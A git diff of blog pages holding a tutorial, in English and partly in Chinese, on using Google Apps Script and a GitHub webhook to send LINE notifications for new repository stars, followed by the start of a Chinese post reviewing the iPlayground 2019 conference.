+      "following_url": "https://api.github.com/users/ZhgChgLi/following{/other_user}",
+      "gists_url": "https://api.github.com/users/ZhgChgLi/gists{/gist_id}",
+      "starred_url": "https://api.github.com/users/ZhgChgLi/starred{/owner}{/repo}",
+      "subscriptions_url": "https://api.github.com/users/ZhgChgLi/subscriptions",
+      "organizations_url": "https://api.github.com/users/ZhgChgLi/orgs",
+      "repos_url": "https://api.github.com/users/ZhgChgLi/repos",
+      "events_url": "https://api.github.com/users/ZhgChgLi/events{/privacy}",
+      "received_events_url": "https://api.github.com/users/ZhgChgLi/received_events",
+      "type": "Organization",
+      "site_admin": false
+    },
+    "html_url": "https://github.com/ZhgChgLi/ZMarkupParser",
+    "description": "ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.",
+    "fork": false,
+    "url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser",
+    "forks_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/forks",
+    "keys_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/keys{/key_id}",
+    "collaborators_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/collaborators{/collaborator}",
+    "teams_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/teams",
+    "hooks_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/hooks",
+    "issue_events_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues/events{/number}",
+    "events_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/events",
+    "assignees_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/assignees{/user}",
+    "branches_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/branches{/branch}",
+    "tags_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/tags",
+    "blobs_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/blobs{/sha}",
+    "git_tags_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/tags{/sha}",
+    "git_refs_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/refs{/sha}",
+    "trees_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/trees{/sha}",
+    "statuses_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/statuses/{sha}",
+    "languages_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/languages",
+    "stargazers_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/stargazers",
+    "contributors_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/contributors",
+    "subscribers_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/subscribers",
+    "subscription_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/subscription",
+    "commits_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/commits{/sha}",
+    "git_commits_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/commits{/sha}",
+    "comments_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/comments{/number}",
+    "issue_comment_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues/comments{/number}",
+    "contents_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/contents/{+path}",
+    "compare_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/compare/{base}...{head}",
+    "merges_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/merges",
+    "archive_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/{archive_format}{/ref}",
+    "downloads_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/downloads",
+    "issues_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues{/number}",
+    "pulls_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/pulls{/number}",
+    "milestones_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/milestones{/number}",
+    "notifications_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/notifications{?since,all,participating}",
+    "labels_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/labels{/name}",
+    "releases_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/releases{/id}",
+    "deployments_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/deployments",
+    "created_at": "2023-02-17T08:41:37Z",
+    "updated_at": "2023-08-01T03:42:27Z",
+    "pushed_at": "2023-08-01T00:07:41Z",
+    "git_url": "git://github.com/ZhgChgLi/ZMarkupParser.git",
+    "ssh_url": "git@github.com:ZhgChgLi/ZMarkupParser.git",
+    "clone_url": "https://github.com/ZhgChgLi/ZMarkupParser.git",
+    "svn_url": "https://github.com/ZhgChgLi/ZMarkupParser",
+    "homepage": "https://zhgchg.li",
+    "size": 27449,
+    "stargazers_count": 187,
+    "watchers_count": 187,
+    "language": "Swift",
+    "has_issues": true,
+    "has_projects": true,
+    "has_downloads": true,
+    "has_wiki": true,
+    "has_pages": false,
+    "has_discussions": false,
+    "forks_count": 10,
+    "mirror_url": null,
+    "archived": false,
+    "disabled": false,
+    "open_issues_count": 2,
+    "license": {
+      "key": "mit",
+      "name": "MIT License",
+      "spdx_id": "MIT",
+      "url": "https://api.github.com/licenses/mit",
+      "node_id": "MDc6TGljZW5zZTEz"
+    },
+    "allow_forking": true,
+    "is_template": false,
+    "web_commit_signoff_required": false,
+    "topics": [
+      "cocoapods",
+      "html",
+      "html-converter",
+      "html-parser",
+      "html-renderer",
+      "ios",
+      "nsattributedstring",
+      "swift",
+      "swift-package",
+      "textfield",
+      "uikit",
+      "uilabel",
+      "uitextview"
+    ],
+    "visibility": "public",
+    "forks": 10,
+    "open_issues": 2,
+    "watchers": 187,
+    "default_branch": "main"
+  },
+  "organization": {
+    "login": "ZhgChgLi",
+    "id": 83232222,
+    "node_id": "MDEyOk9yZ2FuaXphdGlvbjgzMjMyMjIy",
+    "url": "https://api.github.com/orgs/ZhgChgLi",
+    "repos_url": "https://api.github.com/orgs/ZhgChgLi/repos",
+    "events_url": "https://api.github.com/orgs/ZhgChgLi/events",
+    "hooks_url": "https://api.github.com/orgs/ZhgChgLi/hooks",
+    "issues_url": "https://api.github.com/orgs/ZhgChgLi/issues",
+    "members_url": "https://api.github.com/orgs/ZhgChgLi/members{/member}",
+    "public_members_url": "https://api.github.com/orgs/ZhgChgLi/public_members{/member}",
+    "avatar_url": "https://avatars.githubusercontent.com/u/83232222?v=4",
+    "description": "Building a Better World Together."
+  },
+  "sender": {
+    "login": "zhgtest",
+    "id": 4601621,
+    "node_id": "MDQ6VXNlcjQ2MDE2MjE=",
+    "avatar_url": "https://avatars.githubusercontent.com/u/4601621?v=4",
+    "gravatar_id": "",
+    "url": "https://api.github.com/users/zhgtest",
+    "html_url": "https://github.com/zhgtest",
+    "followers_url": "https://api.github.com/users/zhgtest/followers",
+    "following_url": "https://api.github.com/users/zhgtest/following{/other_user}",
+    "gists_url": "https://api.github.com/users/zhgtest/gists{/gist_id}",
+    "starred_url": "https://api.github.com/users/zhgtest/starred{/owner}{/repo}",
+    "subscriptions_url": "https://api.github.com/users/zhgtest/subscriptions",
+    "organizations_url": "https://api.github.com/users/zhgtest/orgs",
+    "repos_url": "https://api.github.com/users/zhgtest/repos",
+    "events_url": "https://api.github.com/users/zhgtest/events{/privacy}",
+    "received_events_url": "https://api.github.com/users/zhgtest/received_events",
+    "type": "User",
+    "site_admin": false
+  }
+}
+

部署

完成程式撰寫之後點擊右上角「部署」->「新增部署作業」:

左側選取類型選擇「網頁應用程式」:

  • 新增說明:隨意輸入,我輸入「 Release
  • 誰可以存取: 請改成「 所有人
  • 點擊「部署」

首次部署,需要點擊「授予存取權」:

跳出帳號選擇 Pop-up 後選擇自己當前的 Gmail 帳號:

出現「Google hasn’t verified this app」因為我們要開發的 App 是給自己用的,不需經過 Google 驗證。

直接點擊「Advanced」->「Go to XXX (unsafe)」->「Allow」即可:

完成部署後可在結果頁面的「網頁應用程式」得到 Request URL,點擊「複製」並記下此 GAS 網址。

⚠️️️ 題外話,請注意如果程式碼有修改需要更新部署才會生效⚠️

要使更改的程式碼生效,同樣點擊右上角「部署」-> 選擇「管理部署作業」->選擇右上角的「✏️」->版本選擇「建立新版本」->點擊「部署」。

即可完成程式碼更新部署。

Github Webhook 設定

  • 回到 Github
  • 我們可以對 Organizations (裡面所有 Repo)或單個 Repo 設定 Webhook,監聽新的 ⭐️ 星星

進入 Organizations / Repo -> 「Settings」-> 左側找到「Webhooks」-> 「Add webhook」:

  • Payload URL 輸入 GAS 網址 並在網址後面手動加上我們自己的安全驗證字串 ?secret=githubWebhookSecret 。 例如你的 GAS 網址https://script.google.com/macros/s/XXX/execgithubWebhookSecret123456 ;則 網址即為: https://script.google.com/macros/s/XXX/exec?secret=123456
  • Content type: 選擇 application/json
  • Which events would you like to trigger this webhook? 選擇「 Let me select individual events. ⚠️️取消勾選「 Pushes ️️️️⚠️勾選「 Watches 」,請注意不是「 Stars 」(但 Stars 也是監控點擊星星的狀態,如果用 Stars GAS 的 action 判斷也需要調整 )
  • 選擇「 Active
  • 點擊「Add webhook」
  • 完成設定

🚀測試

回到 設定的 Organizations Repo / Repo 上點擊「Star」或先 un-star 再重新 「Star」:

就會收到推播通知囉!

收工!🎉🎉🎉🎉

工商

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Create a Github Repo Star Notifier for Free with Google Apps Script in Three Simple Steps

POC App End-to-End Testing Local Snapshot API Mock Server

diff --git a/posts/382218e15697_en/index.html b/posts/382218e15697_en/index.html new file mode 100644 index 000000000..90fa50a6a --- /dev/null +++ b/posts/382218e15697_en/index.html @@ -0,0 +1,499 @@ + Create a Github Repo Star Notifier for Free with Google Apps Script in Three Simple Steps | ZhgChgLi
Home Create a Github Repo Star Notifier for Free with Google Apps Script in Three Simple Steps
Post
Cancel

Create a Github Repo Star Notifier for Free with Google Apps Script in Three Simple Steps

How to Build a Github Repo Star Notifier for Free in Three Simple Steps Using Google Apps Script

Writing a GAS script to integrate with Github Webhook and forward star (like) notifications to Line.

Introduction

As maintainers of open-source projects, we are not driven by money or fame, but by a sense of vanity. Every time we see a new ⭐️ star, it brings immense joy to our hearts. Knowing that the projects we invest our time and energy into are being used and actually helping friends with similar problems is truly rewarding.

Star History Chart

Star History Chart

Because of this, I tend to have a slight obsession with ⭐️ stars. I find myself frequently checking Github to see if the ⭐️ star count has increased. I wondered if there could be a more proactive way to receive notifications when someone hits that ⭐️ star, without having to manually track and search for it.

Existing Tools

Firstly, let’s consider looking for existing tools to achieve this. I searched on Github Marketplace and found several awesome tools that are available.

I tried some of them, but the results were not as expected. Some of them are no longer operational, while others can only send notifications when reaching every 5/10/20 ⭐️ stars (I’m just a small user, so getting 1 ⭐️ already makes me happy 😝). Additionally, these tools only offer email notifications, but I prefer using SNS notifications.

Moreover, I feel a bit uneasy about installing an app just for the sake of “vanity,” as I’m concerned about potential cybersecurity risks.

On iOS, both the Github app and GitTrends and other third-party apps do not support this feature.

Building Your Own Github Repo Star Notifier

Based on the above, we can actually use Google Apps Script for free and quickly create our own Github Repo Star Notifier.

Preparation

In this article, we’ll use Line as the notification medium. If you want to use other communication/SNS software for notification, you can ask ChatGPT how to implement it.

Ask [ChatGPT](https://chat.openai.com){:target="_blank"} how to implement Line Notify

Ask ChatGPT how to implement Line Notify

lineToken:

  • Go to Line Notify

  • After logging in to your Line account, scroll down to find the “Generate access token (For developers)” section.

Generate access token (For developers) in Line Notify

  • Click on “Generate token”

Generate token

  • Token Name: Enter the desired bot title, which will be displayed before the message (e.g., Github Repo Notifer: XXXX).

  • Choose where the message should be sent: I choose “1-on-1 chat with LINE Notify” to send messages to myself via LINE Notify’s official bot.

  • Click on “Generate token”

Generate token

  • Select “Copy”

  • Make sure to note down the Token, as it won’t be visible if you forget it and you’ll need to generate a new one.

githubWebhookSecret:

Generate a random string

  • Copy & remember this random string.

We will use this string as the verification medium between Github Webhook and Google Apps Script.

Due to GAS limitations, it’s not possible to access the Headers content in doPost(e). Therefore, the standard authentication method for Github Webhooks cannot be used in Google Apps Script. We can only manually perform string matching authentication using ?secret=.

Creating Google Apps Script

Go to Google Apps Script, and click on the top left corner, “+ New Project”.

**Google Apps Script**

Google Apps Script

Click on the top-left corner, “Untitled Project,” to rename the project.

Rename the project

Here, I’ll name the project “My-Github-Repo-Notifier” for easy identification in the future.

Code Input Area:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+
+// Constant variables
+const lineToken = 'XXXX';
+// Generate yours line notify bot token: https://notify-bot.line.me/my/
+const githubWebhookSecret = "XXXXX";
+// Generate yours secret string here: https://www.random.org/strings/?num=1&len=32&digits=on&upperalpha=on&loweralpha=on&unique=on&format=html&rnd=new
+
+// HTTP Get/Post Handler
+// Do not allow Get method
+function doGet(e) {
+	return HtmlService.createHtmlOutput("Access Denied!");
+
+}
+
+// Github Webhook will use Post method to enter
+function doPost(e) {
+
+	const content = JSON.parse(e.postData.contents);
+
+	// Security check to ensure the request is from Github Webhook
+	if (verifyGitHubWebhook(e) == false) {
+		return HtmlService.createHtmlOutput("Access Denied!");
+
+	}
+
+	// Star payload data content["action"] == "started"
+	if (content["action"] != "started") {
+		return HtmlService.createHtmlOutput("OK!");
+
+	}
+
+	// Compose the message
+	const message = makeMessageString(content);
+
+	// Send the message, can also be sent to Slack, Telegram...
+	sendLineNotifyMessage(message);
+
+	return HtmlService.createHtmlOutput("OK!");
+
+}
+
+// Method
+// Generate message content
+function makeMessageString(content) {
+
+	const repository = content["repository"];
+	const repositoryName = repository["name"];
+	const repositoryURL = repository["svn_url"];
+	const starsCount = repository["stargazers_count"];
+	const forksCount = repository["forks_count"];
+	const starrer = content["sender"]["login"];
+
+	var message = "🎉🎉 \"" + starrer + "\" starred your \"" + repositoryName + "\" Repo 🎉🎉\n";
+	message += "Current total stars: " + starsCount + "\n";
+	message += "Current total forks: " + forksCount + "\n";
+	message += repositoryURL;
+
+	return message;
+}
+
+// Verify if the request is from Github Webhook
+// Due to GAS limitations (https://issuetracker.google.com/issues/67764685?pli=1)
+// It's not possible to get Headers content in doPost(e)
+// So the standard authentication method for Github Webhooks (https://docs.github.com/en/webhooks-and-events/webhooks/securing-your-webhooks)
+// cannot be used, only manual string matching authentication with ?secret=XXX
+function verifyGitHubWebhook(e) {
+	if (e.parameter["secret"] === githubWebhookSecret) {
+		return true
+	} else {
+		return false
+	}
+}
+
+// -- Send Message --
+// Line
+// For other message delivery methods, you can ask ChatGPT
+function sendLineNotifyMessage(message) {
+	var url = 'https://notify-api.line.me/api/notify';
+	var options = {
+		method: 'post',
+		headers: {
+			'Authorization': 'Bearer ' + lineToken
+		},
+		payload: {
+			'message': message
+		}
+
+	};
+	UrlFetchApp.fetch(url, options);
+}
+
+

Replace lineToken & githubWebhookSecret with the values you copied in the previous steps.

Supplemental data received when someone presses Star on Github Webook is as follows:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+
{
+  "action": "created",
+  "starred_at": "2023-08-01T03:42:26Z",
+  "repository": {
+    "id": 602927147,
+    "node_id": "R_kgDOI-_wKw",
+    "name": "ZMarkupParser",
+    "full_name": "ZhgChgLi/ZMarkupParser",
+    "private": false,
+    "owner": {
+      "login": "ZhgChgLi",
+      "id": 83232222,
+      "node_id": "MDEyOk9yZ2FuaXphdGlvbjgzMjMyMjIy",
+      "avatar_url": "https://avatars.githubusercontent.com/u/83232222?v=4",
+      "gravatar_id": "",
+      "url": "https://api.github.com/users/ZhgChgLi",
+      "html_url": "https://github.com/ZhgChgLi",
+      "followers_url": "https://api.github.com/users/ZhgChgLi/followers",
+      "following_url": "https://api.github.com/users/ZhgChgLi/following{/other_user}",
+      "gists_url": "https://api.github.com/users/ZhgChgLi/gists{/gist_id}",
+      "starred_url": "https://api.github.com/users/ZhgChgLi/starred{/owner}{/repo}",
+      "subscriptions_url": "https://api.github.com/users/ZhgChgLi/subscriptions",
+      "organizations_url": "https://api.github.com/users/ZhgChgLi/orgs",
+      "repos_url": "https://api.github.com/users/ZhgChgLi/repos",
+      "events_url": "https://api.github.com/users/ZhgChgLi/events{/privacy}",
+      "received_events_url": "https://api.github.com/users/ZhgChgLi/received_events",
+      "type": "Organization",
+      "site_admin": false
+    },
+    "html_url": "https://github.com/ZhgChgLi/ZMarkupParser",
+    "description": "ZMarkupParser is a pure-Swift library that helps you convert HTML strings into NSAttributedString with customized styles and tags.",
+    "fork": false,
+    "url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser",
+    "forks_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/forks",
+    "keys_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/keys{/key_id}",
+    "collaborators_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/collaborators{/collaborator}",
+    "teams_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/teams",
+    "hooks_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/hooks",
+    "issue_events_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues/events{/number}",
+    "events_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/events",
+    "assignees_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/assignees{/user}",
+    "branches_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/branches{/branch}",
+    "tags_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/tags",
+    "blobs_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/blobs{/sha}",
+    "git_tags_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/tags{/sha}",
+    "git_refs_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/refs{/sha}",
+    "trees_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/trees{/sha}",
+    "statuses_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/statuses/{sha}",
+    "languages_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/languages",
+    "stargazers_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/stargazers",
+    "contributors_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/contributors",
+    "subscribers_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/subscribers",
+    "subscription_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/subscription",
+    "commits_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/commits{/sha}",
+    "git_commits_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/git/commits{/sha}",
+    "comments_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/comments{/number}",
+    "issue_comment_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues/comments{/number}",
+    "contents_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/contents/{+path}",
+    "compare_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/compare/{base}...{head}",
+    "merges_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/merges",
+    "archive_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/{archive_format}{/ref}",
+    "downloads_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/downloads",
+    "issues_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/issues{/number}",
+    "pulls_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/pulls{/number}",
+    "milestones_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/milestones{/number}",
+    "notifications_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/notifications{?since,all,participating}",
+    "labels_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/labels{/name}",
+    "releases_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/releases{/id}",
+    "deployments_url": "https://api.github.com/repos/ZhgChgLi/ZMarkupParser/deployments",
+    "created_at": "2023-02-17T08:41:37Z",
+    "updated_at": "2023-08-01T03:42:27Z",
+    "pushed_at": "2023-08-01T00:07:41Z",
+    "git_url": "git://github.com/ZhgChgLi/ZMarkupParser.git",
+    "ssh_url": "git@github.com:ZhgChgLi/ZMarkupParser.git",
+    "clone_url": "https://github.com/ZhgChgLi/ZMarkupParser.git",
+    "svn_url": "https://github.com/ZhgChgLi/ZMarkupParser",
+    "homepage": "https://zhgchg.li",
+    "size": 27449,
+    "stargazers_count": 187,
+    "watchers_count": 187,
+    "language": "Swift",
+    "has_issues": true,
+    "has_projects": true,
+    "has_downloads": true,
+    "has_wiki": true,
+    "has_pages": false,
+    "has_discussions": false,
+    "forks_count": 10,
+    "mirror_url": null,
+    "archived": false,
+    "disabled": false,
+    "open_issues_count": 2,
+    "license": {
+      "key": "mit",
+      "name": "MIT License",
+      "spdx_id": "MIT",
+      "url": "https://api.github.com/licenses/mit",
+      "node_id": "MDc6TGljZW5zZTEz"
+    },
+    "allow_forking": true,
+    "is_template": false,
+    "web_commit_signoff_required": false,
+    "topics": [
+      "cocoapods",
+      "html",
+      "html-converter",
+      "html-parser",
+      "html-renderer",
+      "ios",
+      "nsattributedstring",
+      "swift",
+      "swift-package",
+      "textfield",
+      "uikit",
+      "uilabel",
+      "uitextview"
+    ],
+    "visibility": "public",
+    "forks": 10,
+    "open_issues": 2,
+    "watchers": 187,
+    "default_branch": "main"
+  },
+  "organization": {
+    "login": "ZhgChgLi",
+    "id": 83232222,
+    "node_id": "MDEyOk9yZ2FuaXphdGlvbjgzMjMyMjIy",
+    "url": "https://api.github.com/orgs/ZhgChgLi",
+    "repos_url": "https://api.github.com/orgs/ZhgChgLi/repos",
+    "events_url": "https://api.github.com/orgs/ZhgChgLi/events",
+    "hooks_url": "https://api.github.com/orgs/ZhgChgLi/hooks",
+    "issues_url": "https://api.github.com/orgs/ZhgChgLi/issues",
+    "members_url": "https://api.github.com/orgs/ZhgChgLi/members{/member}",
+    "public_members_url": "https://api.github.com/orgs/ZhgChgLi/public_members{/member}",
+    "avatar_url": "https://avatars.githubusercontent.com/u/83232222?v=4",
+    "description": "Building a Better World Together."
+  },
+  "sender": {
+    "login": "zhgtest",
+    "id": 4601621,
+    "node_id": "MDQ6VXNlcjQ2MDE2MjE=",
+    "avatar_url": "https://avatars.githubusercontent.com/u/4601621?v=4",
+    "gravatar_id": "",
+    "url": "https://api.github.com/users/zhgtest",
+    "html_url": "https://github.com/zhgtest",
+    "followers_url": "https://api.github.com/users/zhgtest/followers",
+    "following_url": "https://api.github.com/users/zhgtest/following{/other_user}",
+    "gists_url": "https://api.github.com/users/zhgtest/gists{/gist_id}",
+    "starred_url": "https://api.github.com/users/zhgtest/starred{/owner}{/repo}",
+    "subscriptions_url": "https://api.github.com/users/zhgtest/subscriptions",
+    "organizations_url": "https://api.github.com/users/zhgtest/orgs",
+    "repos_url": "https://api.github.com/users/zhgtest/repos",
+    "events_url": "https://api.github.com/users/zhgtest/events{/privacy}",
+    "received_events_url": "https://api.github.com/users/zhgtest/received_events",
+    "type": "User",
+    "site_admin": false
+  }
+}
+

Deployment

After completing the program writing, click on the upper right corner “Deploy” -> “New Deployment”:

Deployment

Select the “Web Application” type on the left:

Web Application Type

Web Application Type

  • Add description: Input any text, I entered “Release.”
  • Who can access: Change it to “Everyone.”
  • Click “Deploy.”

For the first deployment, click on “Grant access”:

Grant Access

Select your current Gmail account from the popped-up account selection:

Select Gmail Account

“Google hasn’t verified this app” will appear because the App we are developing is for personal use and does not require Google’s verification.

Simply click “Advanced” -> “Go to XXX (unsafe)” -> “Allow”:

Advanced

Advanced

Advanced

After completing the deployment, you can find the Request URL in the “Web Application” section on the result page. Click “Copy” and take note of this GAS URL.

Request URL

⚠️️️ By the way, please note that if there are code modifications, you need to update the deployment for the changes to take effect.⚠️

To make the changes in the code effective, click on “Deploy” -> select “Manage Deployments” -> choose the “✏️” in the upper right corner -> select “Create New Version” -> click “Deploy.”

Manage Deployments

Manage Deployments

This will complete the code update deployment.

Github Webhook Configuration

  • Go back to Github
  • We can set up a webhook for Organizations (all Repos inside) or a single Repo to monitor new ⭐️ Stars.

Go to Organizations / Repo -> “Settings” -> find “Webhooks” on the left -> “Add webhook”:

Webhook Settings

Webhook Settings

  • Payload URL **: ** Enter the GAS URL and manually add our own security verification string at the end of the URL ?secret=githubWebhookSecret. For example, if your GAS URL is https://script.google.com/macros/s/XXX/exec and githubWebhookSecret is 123456, then the URL will be: https://script.google.com/macros/s/XXX/exec?secret=123456.
  • **Content type: ** Choose application/json.
  • Which events would you like to trigger this webhook? Choose “Let me select individual events.⚠️️Uncheck “Pushes”. ️️️️⚠️Check “Watches”. Please note that it’s not “Stars” (though Stars also monitor the state of stars clicked, if you use Stars for GAS actions, you will need to adjust accordingly.)
  • Choose “Active”.
  • Click “Add webhook”.
  • Configuration completed.

🚀 Testing

Go back to the Organizations Repo / Repo where the settings were made, click “Star” or un-star and then re-star:

Testing

You will receive a push notification!

Notification

Done! 🎉🎉🎉🎉

Ad Timing!

Like Z Realm's work

Any questions or suggestions are welcome. Please feel free to contact me.

Post converted from Medium by ZMediumToMarkdown.


This post is licensed under CC BY 4.0 by the author.

遊記 2023 東京 5 日自由行

使用 Google Apps Script 三步驟免費建立 Github Repo Star Notifier

diff --git a/posts/4079036c85c2/index.html b/posts/4079036c85c2/index.html new file mode 100644 index 000000000..2288637dc --- /dev/null +++ b/posts/4079036c85c2/index.html @@ -0,0 +1 @@ + iPlayground 2019 是怎麼樣的體驗? | ZhgChgLi
Home iPlayground 2019 是怎麼樣的體驗?
Post
Cancel

iPlayground 2019 是怎麼樣的體驗?

iPlayground 2019 是怎麼樣的體驗?

iPlayground 2019 火熱熱參加心得

關於活動

去年辦在10月中,我也是去年10月初才開始經營 Medium 記錄生活;結合聽到的 UUID 議題跟參加心得也寫了篇 文章 ;今年繼續來 寫心得蹭熱度

iPlayground 2019 (本次一樣是由 [公司](https://www.cakeresume.com/companies/addcn?locale=zh-TW){:target="_blank"} 補助企業票)

iPlayground 2019 (本次一樣是由 公司 補助企業票)

相較 2018 年第一屆,今年在各方面又更大幅度提升!

首先是場地部分 ,去年在地下一樓會議廳,活動空間不大頗有壓迫感、講座教室用電腦不易;今年直接拉到台大博雅館舉辦,場地很大很新不會人擠人、教室有桌子/插座,方便使用個人電腦!

議程方面 ,除了國內的大大,這次也廣邀國外講者來台分享;其中高朋滿座的絕非貓神 王巍(Wei Wang) 莫屬;今年也首次加入 workshop 手把手教學,不過名額有限,要搶要快…顧著吃飯跟喇賽就這樣錯過了。

贊助商攤位、 Ask the Speaker 區 因場地大交流更方便、更多活動;從 iChef 攤位 #iCHEFxiPlayground 獲得了一組環保吸管及銅鑼燒、 Dcard 攤位去年已拿過,今年又拿到一組貼紙+環保杯套,今年多一個厭世語錄濕紙巾、 17 直播 填問券抽 Airpods 2 、在 [ weak self ] Podcast 攤位拿了貼紙,另外還有 GrindrCakeResumeBitrise 的攤位可以互動,附上一張 不齊全 的戰利品照。

不齊全的戰利品

不齊全的戰利品

吃的及 After Party ,兩天都是精緻餐盒,冰咖啡、茶飲全天無限量供應;但去年比較有 After Party 的感覺,像是在酒吧聽台上的大大說故事,非常有趣;今年比較是下午茶(ㄧ樣有供應酒,燒賣跟甜點好吃!);自行交流,但反而我今年才有認識到新朋友。

吃貨必備,便當照

吃貨必備,便當照

Top 5 議程收穫

1. 王巍(Wei Wang) ( 貓神) 的 網路請求元件設計

這部分很有感,因為我們的專案並沒有使用第三方網路套件;而是自己封裝方法,講者說的很多設計模式、問題,也是我們需要去做的優化及重構項目,套用講者說的:

「垃圾需要分類,代碼也是…」

這部分要好好回去研究了,我會做好分類的<( _ _ )> p.s 沒搶到 KingFisher 貼紙 QQ

2. 日本的大大 kishikawa katsumi

介紹 iOS ≥ 13 推出的新方法 UICollectionViewCompositionalLayout ,讓我們不用在像之前ㄧ樣去 subclass UICollectionViewLayout 或是用 CollectionView Cell 包 CollectionView 的方式完成複雜的佈局。 這部分同樣有感,我們的 APP 就是使用後者的方式達成設計想要呈現的樣式,巔峰之作還有 CollectionView Cell 包 CollectionView 再包 CollectionView (三層),程式碼很亂不易維護。 除了介紹 UICollectionViewCompositionalLayout 的架構、使用方式,特別之處在於講者依照此模式自己做了一個專案,讓 iOS 12 以前的 App ㄧ樣能支援同樣的效果 — IBPCollectionViewCompositionalLayout ,太神啦!

3. Ethan Huang 大大的 用 SwiftUI 開發 Apple Watch APP

